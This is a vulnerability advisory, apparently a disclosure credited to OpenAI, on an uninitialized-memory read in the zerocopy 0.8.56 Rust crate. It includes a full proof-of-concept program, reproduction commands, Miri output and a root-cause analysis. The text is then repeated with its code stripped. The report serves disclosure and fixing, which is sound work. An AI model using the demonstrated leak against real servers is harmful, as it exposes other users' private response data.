The following was reported by OpenAI via email:
- Vulnerability Type: Uninitialized-memory read / information disclosure
- Affected Software: zerocopy
- Date: September 2026
- Discoverer: OpenAI (OutboundDisclosures@openai.com)
Summary
A failed try_transmute! call can return uninitialized bytes in place of the original input. The macro first moves the input through the destination type. If that type has padding, the move can discard bytes that the error path later treats as initialized input data.
A server that returns rejected input in an error response can consequently disclose data from a previous response. The reproduction below alternates a private response with a malformed 32-byte input. The malformed input contains only byte 2, but its returned error contains fourteen bytes of the private response: SERVER-SECRET!. Miri independently reports undefined behavior while the library constructs that error.
The server must parse into a padded type and expose the rejected source bytes. The attacker supplies the malformed input; the private response belongs to an earlier authorized request. The example models this sequence in one process. The exact residual bytes depend on compiler optimization, target, and storage reuse.
Affected version: Confirmed with the published zerocopy 0.8.56 crate. Earlier versions have not been exhaustively tested.
Environment: macOS arm64 (aarch64-apple-darwin), Rust 1.98.1 for the native build, and nightly-2026-09-04 (rustc 1.100.0-nightly, miri 0.1.0) for Miri.
Sketch of the attack
For the WireRecord defined below, a boolean value of 2 correctly fails validation. The error should preserve the supplied bytes:
let input = [2u8; 32];
let result: Result<WireRecord, _> = zerocopy::try_transmute!(input);
let response = result.unwrap_err().into_src();
Under the hood:
WireRecord contains a bool followed by a u128. On the tested target, bytes 1 through 15 are padding.
try_transmute! moves the byte array into storage typed as MaybeUninit<ReadOnly<WireRecord>>. A typed move need not preserve destination padding.
- Validation rejects the boolean. The error path moves that storage back into a byte array and calls
assume_init(). Padding positions are now array elements, which must contain initialized integers.
- A native build can leave prior response data in those positions and return it to the caller.
Full repro
Save the following as Cargo.toml:
[package]
name = "zerocopy-transmute-disclosure"
version = "0.1.0"
edition = "2024"
[workspace]
[dependencies]
zerocopy = { version = "=0.8.56", features = ["derive", "std"] }
proc-macro2 = { version = "=1.0.80", default-features = false }
quote = { version = "=1.0.40", default-features = false }
syn = { version = "=2.0.56", default-features = false }
unicode-ident = { version = "=1.0.22", default-features = false }
Save the following as src/bin/try_transmute_disclosure.rs:
#![forbid(unsafe_code)]
use std::hint::black_box;
use zerocopy::TryFromBytes;
#[derive(Debug, TryFromBytes)]
#[repr(C)]
struct WireRecord {
flag: bool,
identifier: u128,
}
#[inline(never)]
fn reply(private: bool, input: [u8; 32]) -> [u8; 32] {
if private {
return *b"!SERVER-SECRET!0123456789abcdefg";
}
let result: Result<WireRecord, _> = zerocopy::try_transmute!(input);
result.unwrap_err().into_src()
}
fn main() {
let input = black_box([2u8; 32]);
let mut replies = [[0u8; 32]; 4];
for (index, saved) in replies.iter_mut().enumerate() {
let output = black_box(reply(black_box(index % 2 == 0), input));
*saved = output;
}
for (index, output) in replies.iter().enumerate() {
println!("private={} output={output:02x?}", index % 2 == 0);
}
let leaked = std::str::from_utf8(&replies[1][1..15]).expect("ASCII fixture");
println!("first unauthenticated error contains: {leaked}");
assert_eq!(leaked, "SERVER-SECRET!");
}
The private flag represents the server's authorization decision, not attacker input. The loop calls the same handler first for an authorized response and then for a malformed request, allowing its return storage to be reused.
Run the native reproduction:
cargo +stable generate-lockfile
cargo +stable run --locked --release --bin try_transmute_disclosure
The final output line is:
first unauthenticated error contains: SERVER-SECRET!
The assertion verifies those fourteen bytes. They were absent from the malformed input and came from the preceding private response.
Run the same program under Miri:
cargo +nightly-2026-09-04 miri run --locked --bin try_transmute_disclosure
Miri reports the error at zerocopy/src/util/macro_util.rs:555, before the caller receives the error value:
error: Undefined Behavior: constructing invalid value of type [u8; 32]: at [1], encountered uninitialized memory, but expected an integer
555 | Err(ValidityError::new(unsafe { mu_src.assume_init() }))
| ^^^^^^^^^^^^^^^^^^^^ Undefined Behavior occurred here
Root cause
The source links refer to release revision 6dc429c451bdf1d7202ec1ec2cf426514e00d8eb.
try_transmute requires Src: IntoBytes and Dst: TryFromBytes. These bounds permit a padding-free source and a padded destination. It converts MaybeUninit<Src> to MaybeUninit<ReadOnly<Dst>> by value.
- The initialization assumption relies on the original source bytes still being initialized. Destination padding is not guaranteed to survive the preceding move.
- The failure branch reconstructs
Src from the destination storage. Its justification that the storage was never modified does not account for padding lost during typed moves. assume_init() then requires initialization that the round trip did not preserve.
- The standard library's
MaybeUninit validity documentation explicitly limits round-trip transmutation when initialized source bytes overlap padding in the intermediate type.
[u8; 32] correctly implements IntoBytes, and the destination's validator correctly rejects the input. This defect does not require a false padding witness or an incorrectly accepted IntoBytes derive. Repairs to those checks would leave this error-recovery path unchanged.
Disclaimer
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
The following was reported by OpenAI via email:
Summary
A failed
try_transmute!call can return uninitialized bytes in place of the original input. The macro first moves the input through the destination type. If that type has padding, the move can discard bytes that the error path later treats as initialized input data.A server that returns rejected input in an error response can consequently disclose data from a previous response. The reproduction below alternates a private response with a malformed 32-byte input. The malformed input contains only byte
2, but its returned error contains fourteen bytes of the private response:SERVER-SECRET!. Miri independently reports undefined behavior while the library constructs that error.The server must parse into a padded type and expose the rejected source bytes. The attacker supplies the malformed input; the private response belongs to an earlier authorized request. The example models this sequence in one process. The exact residual bytes depend on compiler optimization, target, and storage reuse.
Affected version: Confirmed with the published
zerocopy 0.8.56crate. Earlier versions have not been exhaustively tested.Environment: macOS arm64 (
aarch64-apple-darwin), Rust 1.98.1 for the native build, andnightly-2026-09-04(rustc 1.100.0-nightly,miri 0.1.0) for Miri.Sketch of the attack
For the
WireRecorddefined below, a boolean value of2correctly fails validation. The error should preserve the supplied bytes:Under the hood:
WireRecordcontains aboolfollowed by au128. On the tested target, bytes 1 through 15 are padding.try_transmute!moves the byte array into storage typed asMaybeUninit<ReadOnly<WireRecord>>. A typed move need not preserve destination padding.assume_init(). Padding positions are now array elements, which must contain initialized integers.Full repro
Save the following as
Cargo.toml:Save the following as
src/bin/try_transmute_disclosure.rs:The
privateflag represents the server's authorization decision, not attacker input. The loop calls the same handler first for an authorized response and then for a malformed request, allowing its return storage to be reused.Run the native reproduction:
The final output line is:
The assertion verifies those fourteen bytes. They were absent from the malformed input and came from the preceding private response.
Run the same program under Miri:
Miri reports the error at
zerocopy/src/util/macro_util.rs:555, before the caller receives the error value:Root cause
The source links refer to release revision
6dc429c451bdf1d7202ec1ec2cf426514e00d8eb.try_transmuterequiresSrc: IntoBytesandDst: TryFromBytes. These bounds permit a padding-free source and a padded destination. It convertsMaybeUninit<Src>toMaybeUninit<ReadOnly<Dst>>by value.Srcfrom the destination storage. Its justification that the storage was never modified does not account for padding lost during typed moves.assume_init()then requires initialization that the round trip did not preserve.MaybeUninitvalidity documentation explicitly limits round-trip transmutation when initialized source bytes overlap padding in the intermediate type.[u8; 32]correctly implementsIntoBytes, and the destination's validator correctly rejects the input. This defect does not require a false padding witness or an incorrectly acceptedIntoBytesderive. Repairs to those checks would leave this error-recovery path unchanged.Disclaimer
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.